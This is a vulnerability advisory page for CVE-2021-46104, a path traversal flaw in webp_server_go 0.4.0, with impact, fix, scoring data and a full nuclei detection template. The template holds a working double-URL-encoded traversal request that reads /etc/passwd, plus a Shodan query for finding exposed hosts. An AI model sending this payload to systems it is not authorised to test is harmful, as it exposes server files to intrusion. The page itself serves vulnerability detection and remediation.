HexBrain

Browse / CVEs / CVE-2021-46104

CVE-2021-46104· webp / webp server go· CWE-22

webp_server_go 0.4.0 - Path Traversal

highseverity
7.5CVSS score
4.8%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

webp_server_go 0.4.0 contains a path traversal caused by insufficient sanitization in file handling, letting attackers read arbitrary files on the server, exploit requires attacker to send crafted requests.

Impact

Unauthenticated attackers can read arbitrary files from the server including /etc/passwd via path traversal using double URL encoding.

Fix

Upgrade to webp_server_go version 0.4.1 or later that properly sanitizes file paths.

How to confirm it

Send: GET {{BaseURL}}/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%2…
Positive when: matches /root:.*:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-46104 -u <target>

The full check
id: CVE-2021-46104

info:
  name: webp_server_go 0.4.0 - Path Traversal
  author: pikpikcu
  severity: high
  description: |
    webp_server_go 0.4.0 contains a path traversal caused by insufficient sanitization in file handling, letting attackers read arbitrary files on the server, exploit requires attacker to send crafted requests.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server including /etc/passwd via path traversal using double URL encoding.
  remediation: |
    Upgrade to webp_server_go version 0.4.1 or later that properly sanitizes file paths.
  reference:
    - https://github.com/webp-sh/webp_server_go/issues/92
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46104
    cwe-id: CWE-22
    epss-score: 0.04881
    epss-percentile: 0.92136
    cpe: cpe:2.3:a:webp:webp_server_go:0.4.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webp
    product: webp_server_go
    shodan-query: http.html:"Webp"
  tags: cve,cve2021,lfi,webp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from